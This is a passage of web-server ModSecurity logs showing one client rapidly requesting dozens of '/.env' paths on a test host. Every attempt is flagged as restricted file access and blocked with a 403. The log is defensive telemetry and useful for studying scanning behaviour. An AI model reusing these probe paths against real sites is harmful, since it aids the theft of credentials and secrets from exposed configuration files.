&quot;pms.test.indacotrentino.com&quot;] [uri &quot;/memcached/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueLwAAAAk&quot;]
[Mon Jul 28 20:46:14.234704 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/memcached/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueLwAAAAk&quot;]
[Mon Jul 28 20:46:14.234855 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/memcached/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueLwAAAAk&quot;]
[Mon Jul 28 20:46:14.257123 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mentorg-lava-docker/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mentorg-lava-docker/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueMAAAAAk&quot;]
[Mon Jul 28 20:46:14.257316 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mentorg-lava-docker/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueMAAAAAk&quot;]
[Mon Jul 28 20:46:14.257464 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mentorg-lava-docker/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueMAAAAAk&quot;]
[Mon Jul 28 20:46:14.279494 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /micro-app-react-communication/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/micro-app-react-communication/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueMQAAAAk&quot;]
[Mon Jul 28 20:46:14.279694 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/micro-app-react-communication/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueMQAAAAk&quot;]
[Mon Jul 28 20:46:14.279857 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/micro-app-react-communication/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueMQAAAAk&quot;]
[Mon Jul 28 20:46:14.302085 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /micro-app-react/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/micro-app-react/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueMgAAAAk&quot;]
[Mon Jul 28 20:46:14.302284 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/micro-app-react/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueMgAAAAk&quot;]
[Mon Jul 28 20:46:14.302481 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/micro-app-react/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueMgAAAAk&quot;]
[Mon Jul 28 20:46:14.324604 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mindsweeper/gui/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mindsweeper/gui/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueMwAAAAk&quot;]
[Mon Jul 28 20:46:14.324800 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mindsweeper/gui/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueMwAAAAk&quot;]
[Mon Jul 28 20:46:14.324971 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mindsweeper/gui/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueMwAAAAk&quot;]
[Mon Jul 28 20:46:14.347057 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /minified/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/minified/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueNAAAAAk&quot;]
[Mon Jul 28 20:46:14.347236 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/minified/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueNAAAAAk&quot;]
[Mon Jul 28 20:46:14.347384 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/minified/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueNAAAAAk&quot;]
[Mon Jul 28 20:46:14.369522 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /misc/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/misc/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueNQAAAAk&quot;]
[Mon Jul 28 20:46:14.369705 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/misc/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueNQAAAAk&quot;]
[Mon Jul 28 20:46:14.369875 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/misc/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueNQAAAAk&quot;]
[Mon Jul 28 20:46:14.392031 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /modix/clientapp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Modix/ClientApp/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueNgAAAAk&quot;]
[Mon Jul 28 20:46:14.392222 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Modix/ClientApp/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueNgAAAAk&quot;]
[Mon Jul 28 20:46:14.392385 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Modix/ClientApp/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueNgAAAAk&quot;]
[Mon Jul 28 20:46:14.414734 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /monerod/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/monerod/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueNwAAAAk&quot;]
[Mon Jul 28 20:46:14.414966 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/monerod/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueNwAAAAk&quot;]
[Mon Jul 28 20:46:14.415145 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/monerod/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueNwAAAAk&quot;]
[Mon Jul 28 20:46:14.437601 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mongodb/config/dev/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mongodb/config/dev/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueOAAAAAk&quot;]
[Mon Jul 28 20:46:14.437838 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mongodb/config/dev/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueOAAAAAk&quot;]
[Mon Jul 28 20:46:14.438032 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mongodb/config/dev/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueOAAAAAk&quot;]
[Mon Jul 28 20:46:14.460435 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /monitoring/compose/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/monitoring/compose/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueOQAAAAk&quot;]
[Mon Jul 28 20:46:14.460666 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/monitoring/compose/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueOQAAAAk&quot;]
[Mon Jul 28 20:46:14.460861 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/monitoring/compose/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueOQAAAAk&quot;]
[Mon Jul 28 20:46:14.483294 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /moodledata/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/moodledata/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueOgAAAAk&quot;]
